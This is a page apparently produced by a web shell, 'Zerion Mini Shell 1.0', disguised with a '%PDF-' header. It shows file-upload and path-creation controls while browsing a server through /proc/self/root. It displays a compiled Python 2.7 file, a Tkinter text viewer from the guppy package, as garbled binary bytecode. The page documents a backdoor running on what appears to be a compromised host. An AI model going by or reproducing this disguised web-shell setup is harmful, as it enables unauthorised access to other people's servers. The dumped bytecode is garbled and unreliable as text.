%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyo

�
;�Pc@swdZddlTddlZdefd��YZedkrse�Zeeddd	d
��j	�ej
�ndS(sSimple text browser

i����(t*Nt
TextViewercBs;eZdZddd�Zd�Zd�Zdd�ZRS(s,
    simple text viewer dialog for idle
    cCstj||�|jdd�|jddd|j�d|j�df�d|_d|_|j�|j	|�|j
d	|j�||_|j
j�|jd
|j�|jd|j�|dk	r�|j
jd|�n
|j|�|j
jd
t�dS(s�If data exists, load it into viewer, otherwise try to load file.

        fileName - string, should be an absoulute filename
        tborderwidthis=%dx%d+%d+%diqi�i
s#ffffffs#000000tWM_DELETE_WINDOWs<Return>s<Escape>gtstateN(tToplevelt__init__t	configuretgeometrytwinfo_rootxtwinfo_rootytbgtfgt
CreateWidgetsttitletprotocoltOktparentttextViewt	focus_settbindtNonetinserttLoadTextFiletconfigtDISABLED(tselfRRtfileNametdata((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyRs$
		

	

cCsid}yt|d�}Wn0tk
rKtjdddd|
d�nX|jjd|j��dS(NtrRsFile Load ErrortmessagesUnable to load file s .g(RtopentIOErrorttkMessageBoxt	showerrorRRtread(RRttextFile((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyR4s
c
CsCt|dtdd�}t|�}t|ddd|jdt�|_t|dtdtd	d
�|_t	|dt
d	d
d|jd
|j�|_
|jjd|j
j�|j
jd|jj�|jj�|jjdtdt�|j
jdtdtdt�|jdtdt�|jdtdtdt�dS(Ntrelieftheighti�ttexttClosetcommandt	takefocustorientthighlightthicknessitwrapRRtyscrollcommandtsidetfilltexpand(tFrametSUNKENtButtonRtFALSEtbuttonOkt	ScrollbartVERTICALt
scrollbarViewtTexttWORDRRRRtyviewtsettpacktRIGHTtYtLEFTtTRUEtBOTHtBOTTOMtXtTOP(Rt	frameTexttframeButtons((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyR
>s
cCs|j�dS(N(tdestroy(Rtevent((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyROsN(t__name__t
__module__t__doc__RRRR
R(((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyRs
 	
	t__main__R'tViewR)cCsttdd�S(NR:s
./textView.py(Rtroot(((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyt<lambda>Vs(RMtTkinterR!RRRKtTkRPR4R>tmainloop(((sE/opt/alt/python27/lib64/python2.7/site-packages/guppy/etc/textView.pyt<module>s
B	

Zerion Mini Shell 1.0